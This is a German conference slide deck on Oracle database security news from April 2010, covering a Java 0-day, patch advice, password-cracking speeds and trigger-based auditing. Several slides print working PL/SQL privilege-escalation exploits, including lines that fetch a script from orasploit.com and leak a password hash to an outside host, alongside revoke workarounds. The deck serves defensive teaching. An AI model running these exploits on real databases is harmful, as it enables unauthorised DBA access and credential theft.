DOAG Regional-Treffen München Alexander Kornbrust 21-Apr-2010
Über Red-Database-Security! Red-Database-Security GmbH! Specialisiert in Oracle Security! Mehr als 400 Oracle Security Fehler gemeldet! Kunden weltweit! Services und Produkte! Security Audits! Oracle Security Training! Oracle Security Software Solutions
Table of Content Inhalt Oracle Security News Verwendung von Datenbank Event Triggern
Oracle Security News Oracle 0Day in Java (korrigiert mit CPU April 2010) Oracle CPU April 2010 Neuer Oracle Password Cracker PL/SQL Unwrapper für Oracle 10g/11g veröffentlicht Oracle & MitM
Oracle 0day in Java Als Abschiedsgeschenk von David Litchfield, der sich aus dem Datenbank-Security Thema zurückzieht. Zuerst auf der Blackhat DC veröffentlicht. Auf den Präsentationsfolien waren die Exploits zu sehen. Ein Video der Präsentation davon tauchte im Internet auf und verbreitete sich sehr schnell. Diese Lücke betrifft Oracle alle Versionen 11.2, 11.1 und 10.2. Mit dem April 2010 CPU/PSU bzw. der Version 11.2.0.1 für Windows hat Oracle dieses Problem gelöst. Weiterhin wurde von David gezeigt, wie man die 11g Netzwerk ACLs umgehen kann (" SELECT SYS.DBMS_LDAP.INIT ((SELECT PASSWORD FROM SYS.USER$ WHERE rownum=1) '.orasploit.com',80) FROM DUAL "). Utl_http, httpuritype, funktionieren standardmäsig in 11g nicht mehr.
Oracle 0Day in Java (10.2) DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER,'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/ Wrapper','main', '/oracle/10g/bin/sqlplus', '/ as sysdba', '@http://www.orasploit.com/becomedba.sql') FROM DUAL;set role dba;revoke dba from public;
Oracle 0Day in Java (10.2) -- Privilegien Eskalation DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER,'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / -- Ausführen beliebiger OS Befehle SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/ Wrapper','main', 'executable', 'param1', 'param2') FROM DUAL;set role dba;revoke dba from public;
Oracle 0Day in Java (11.2) DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',user,'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/ aurora/rdbms/dbmsjava','sys', 'writeoutputtofile','text', NULL, NULL, NULL, NULL, 0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO ' user '''; END;', 'BEGIN NULL; END;') FROM DUAL;EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW ('NO_SUCH_SUBSCRIPTION', SYSDATE());set role DBA;
Oracle 0Day in Java - Workaround Revoke execute on dbms_java from public; Revoke execute on dbms_java_test from public; Revoke execute on dbms_jvm_exp_perms from public; Revoke execute on oracle/aurora/util/wrapper FROM PUBLIC; Revoke execute on oracle/aurora/utl/paramparser from PUBLIC; grant execute on DBMS_JVM_EXP_PERMS TO IMP_FULL_DATABASE; grant execute on DBMS_JVM_EXP_PERMS TO EXP_FULL_DATABASE; grant execute on dbms_java to system; (any OEM database user) to avoid problems with public synonyms
Oracle April 2010 Korrektur von 7 Sicherheitslücken in der Datenbank. Der kritischste lt. Oracle mit CVSS 7.1 ist ein Buffer Overflow im Create User Kommando. Meiner Ansicht nach jedoch eher unkritisch, da ein Benutzer normalerweise keine "CREATE USER" Rechte hat. Meines Erachtens der kritischste ist der Java Fehler (wie vorhin gezeigt) mit einem CVSS Rating von 6.5 bzw. 4.0. Von Red-Database-Security wurde ein Fehler korrigiert, der es erlaubt Daten mittels "explain plan" zu extrahieren, ohne dass Auditing dies mitbekommt. Empfehlung: Unbedingt einspielen
Neuer Passwort Cracker OPS_SSE2 Dennis Yurichev hat einen neuen Passwort Cracker veröffentlicht, der ca 3 Mal schneller als der bisherige Spitzenreiter ist. Auf schnellerer Hardware kann sogar die 10 fache Geschwindigkeit erreicht werden. Dadurch kann ein 8- stelliges DBA Passwort (Zahlen & Ziffern) innerhalb eines Tages geknackt werden. Kritische Passworte (DBA, Anwendungen,...) sollten mindestens 10 Zeichen (9i-10g) bzw. 11 Zeichen (11g) lang sein. Die neuen SHA1 Hashes können sogar bis zu 20 Mal (!!!) schneller geknackt werden. Alte DES-Hashes sind sicherer als neue SHA1-Hashes
Repscan / Woraauthbf Length cs cs 6 26 73 s 36 8.5 min 7 26 31 min 36 5 h 8 26 13 h 36 7.6 d 9 26 14 d 36 274 d 10 26 1 yrs 36 27 yrs Repscan 3.0, 4,400,000 pw/second QuadCore 2.4 GHz http://soonerorlater.hu/index.khtml?article_id=513
OPS_SSE2 Length cs cs 6 26 7 s 36 1 min 7 26 3 min 36 30 min 8 26 1,5 h 36 19 h 9 26 1,5 d 36 30 d 10 26 1,2 mon 36 3 yrs OPS_SSE2, 36,500,000 pw/second Dual Six-Core AMD Opteron(tm) Processor 2427 (2.2 GHz)
Oracle Man-In-The-Middle Angriff Auf der Security Konferenz "Blackhat 2010 Europe" wurden letzte Woche von Steve Ocepek und Wendel Guglielmetti Henrique 2 neue Tools Vamp und Thicknet vorgestellt, mit denen man laufende Oracle Sessions kapern und die Inhalte verändern kann. Damit ist es ohne großes Wissen mögliche, eine unverschlüsselte Oracle TNS Session zu übernehmen. In Zukunft wird man solche Angriffe häufiger sehen. Diese Tools werden zur Zeit noch verbessert und dann zum Download zur Verfügung gestellt.
Oracle Unwrapper Niels Teusink hat auf seinem Blog einen Python Unwrapper für Oracle 10g/11g Code veröffentlicht. Damit kann man gewrappte Packages wieder in den unverschlüsselten Ursprungszustand zurückversetzen. http://blog.teusink.net/2010/04/unwrapping-oracleplsql-with-unwrappy.html
Verwendung von Datenbank Event Trigger zur Erhöhung der Sicherheit
Logon Trigger Protokollieren alle Logon Versuche mit Zusätzlich zum "Create Session" werden hier auch Datenbank Jobs mitprotokolliert. Zur Reduzierung der Daten sollten Jobs, häufig wiederkehrende Daten ausgeblendet werden.
DDL Trigger Protokollieren alle DDL Befehle mit Gute Übersicht, wer was in der Datenbank verändert hat. Z.T. werden DDL Befehle von Oracle abgesetzt
Error Trigger Protokollieren (fast) alle Datenbank Fehler mit Findet Konfigurationsfehler Hilft bei der Fehleranalyse Erlaubt das Entdecken von Angriffen über SQL Injection (hauptsächlich bei Webanwendungen)
Screenshots
Screenshots
Screenshots
Screenshots
Screenshots
Beispielcode Beispielcode wird zusammen mit dieser Präsentation veröffentlicht
Fragen? Fragen?
Contact Red-Database-Security GmbH Bliesstraße 16 66538 Neunkirchen Germany Phone: +49-174 - 98 78 118 Fax: +49 6821 91 27 354 E-Mail: training@red-database-security.com